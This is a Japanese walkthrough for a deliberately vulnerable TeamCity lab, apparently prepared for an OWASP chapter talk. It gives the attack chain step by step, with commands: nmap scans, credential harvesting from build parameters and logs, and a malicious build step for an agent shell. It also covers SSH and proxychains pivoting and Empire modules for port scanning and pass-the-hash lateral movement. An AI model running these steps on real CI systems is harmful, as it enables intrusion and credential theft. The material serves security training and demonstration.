
安全でない構成のTeamCity継続的インテグレーション環境です。
作業中: デプロイコードは まもなく いずれ公開予定です。

PwnCityには複数の攻略経路があるかもしれませんが、これは2月24日にOWASP Sacramento Chapterのミーティングで私が発表する予定の経路です。
注記: これはデモのため、ここでは作戦セキュリティはほぼ無視されています。
nmap -Pn -p- 52.234.0.18。
nmap 52.234.0.18 では停止しているように見える。nmap -Pn 52.234.0.18。


bob、パスワード bobhacks? を作成する。
bob として Projects > SimpleMavenSample > Build > Settings に移動するParameters に資格情報が含まれていることを確認する。

ssh [email protected] に再利用されているか確認し、低権限ユーザーとしてSSH接続する。

最初の足掛かりからトンネルを張ることもできます。2台のビルドエージェントでRDPが開放されていることがわかれば、見つけた資格情報を使って認証を試みることもできます...しかし、それはあまり面白くありません。
cat /home/dev/TeamCity/TeamCity/logs/teamcity-server.log | grep "Super user"。

Administration > Projects > Create project から新しいプロジェクト PwnAgent を作成し、ビルドエージェントでシェルを取得する。

cmd.exe/c %system.teamcity.build.checkoutDir%/launcher.bat

資格情報は rockyou.txt から選択されました。
PwnAgent01ではMicrosoft Defenderが有効になっています。これを回避することは確かに可能ですが、私たちが実演した悪意のあるビルドステップはブロックされます。



このセクションは、ラボ環境を管理する際に役立ったスニペットを集めたものです。
TeamCity ホスト上で動的ポートフォワードを実行する ssh -D 9050 [email protected]。proxychains4 xfreerdp /u:dev /v:10.0.0.6:3389。Run の横にある ... を選択し、次にターゲットとするエージェント上で選択します。うまくいけば、エージェントがコールバックします。

powershell/situational_awareness/network/portscan モジュールでポートスキャンを実行します。10.0.0.7 で 3389,445,139,135 がすべて開放されていることを発見します。

bruno のパスワードを取得します。powershell/lateral_movement/invoke_smbexec を実行して、NTMLハッシュ経由で Bruno-PC にビーコンを取得します。
